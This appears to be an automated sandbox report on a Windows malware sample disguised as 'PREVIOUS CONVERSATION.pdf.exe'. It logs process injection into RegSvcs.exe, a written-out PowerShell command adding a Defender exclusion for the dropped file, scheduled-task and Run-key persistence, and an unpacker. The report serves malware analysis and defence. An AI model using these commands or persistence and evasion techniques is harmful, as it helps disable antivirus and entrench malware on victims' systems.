Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FeqVzOoxhxw" /XML "C:\Users\user\AppData\Local\Temp\tmpD3E0.tmp	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 8_2_00447818 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,AdjustTokenPrivileges,

8_2_00447818

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe

File created: C:\Users\user\AppData\Local\Temp\tmpD3E0.tmp

Jump to behavior

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 8_2_00446B77 CreateToolhelp32Snapshot,Process32NextW,CloseHandle,

8_2_00446B77

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6596:120:WilError_01
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Mutant created: \Sessions\1\BaseNamedObjects\xhYxIiuuwxLHJqUKkUrhAi
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3716:120:WilError_01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: \Sessions\1\BaseNamedObjects\4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O2.00

Source: PREVIOUS CONVERSATION.pdf.exe	String found in binary or memory: /signatures/add
Source: RegSvcs.exe	String found in binary or memory: </install>
Source: RegSvcs.exe	String found in binary or memory: <install>N/A</install>
Source: RegSvcs.exe	String found in binary or memory: IN-ADDR.ARPA
Source: PREVIOUS CONVERSATION.pdf.exe	String found in binary or memory: /signatures/add

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: PREVIOUS CONVERSATION.pdf.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: PREVIOUS CONVERSATION.pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: PREVIOUS CONVERSATION.pdf.exe

Static file information: File size 2296320 > 1048576

Source: PREVIOUS CONVERSATION.pdf.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x205c00

Source: PREVIOUS CONVERSATION.pdf.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: PREVIOUS CONVERSATION.pdf.exe, VulkanProtector/Form1.cs	.Net Code: EX00001 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: FeqVzOoxhxw.exe.0.dr, VulkanProtector/Form1.cs	.Net Code: EX00001 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.PREVIOUS CONVERSATION.pdf.exe.70000.0.unpack, VulkanProtector/Form1.cs	.Net Code: EX00001 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.2.PREVIOUS CONVERSATION.pdf.exe.70000.0.unpack, VulkanProtector/Form1.cs	.Net Code: EX00001 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_00077134 push edx; iretd	0_2_00077138
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_0007714D push eax; ret	0_2_0007716B
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_008A41E9 push esp; retf	0_2_008A41EA
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_008A41E1 push esp; retf	0_2_008A41E2
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_008A4128 push ecx; retf	0_2_008A412A
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_008A4121 push ecx; retf	0_2_008A4122
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_008A4124 push ecx; retf	0_2_008A4126
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_008A42D7 push esi; retf	0_2_008A42DA
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_008A42D5 push esi; retf	0_2_008A42D6
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_008A4499 push edi; retf	0_2_008A449A
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_008A4491 push edi; retf	0_2_008A4492
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_008A4450 push edi; retf	0_2_008A4452
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_008A4557 push edi; retf	0_2_008A455A
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_008A4560 push edi; retf	0_2_008A4562
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_008A6D60 push 1400CB79h; ret	0_2_008A6D65
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_07A91A8D push FFFFFF8Bh; iretd	0_2_07A91A8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0040585D push esi; ret	8_2_00405866
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0049D8D4 push ecx; ret	8_2_0049D8E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00402EEC push eax; retn 0049h	8_2_00402EED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00402F54 push eax; retn 0049h	8_2_00402F55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00402F20 push eax; retn 0049h	8_2_00402F21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0049DF96 push ecx; ret	8_2_0049DFA9

Source: PREVIOUS CONVERSATION.pdf.exe

Static PE information: 0xD5B732DE [Sun Aug 15 10:58:38 2083 UTC]

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe

File created: C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe

Jump to dropped file

Boot Survival:

Creates autostart registry keys with suspicious names

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run WebMonitor-78f9

Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe

Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FeqVzOoxhxw" /XML "C:\Users\user\AppData\Local\Temp\tmpD3E0.tmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run WebMonitor-78f9			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run WebMonitor-78f9			Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Uses an obfuscated file name to hide its real file extension (double extension)

Show sources

Source: Possible double extension: pdf.exe

Static PE information: PREVIOUS CONVERSATION.pdf.exe

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
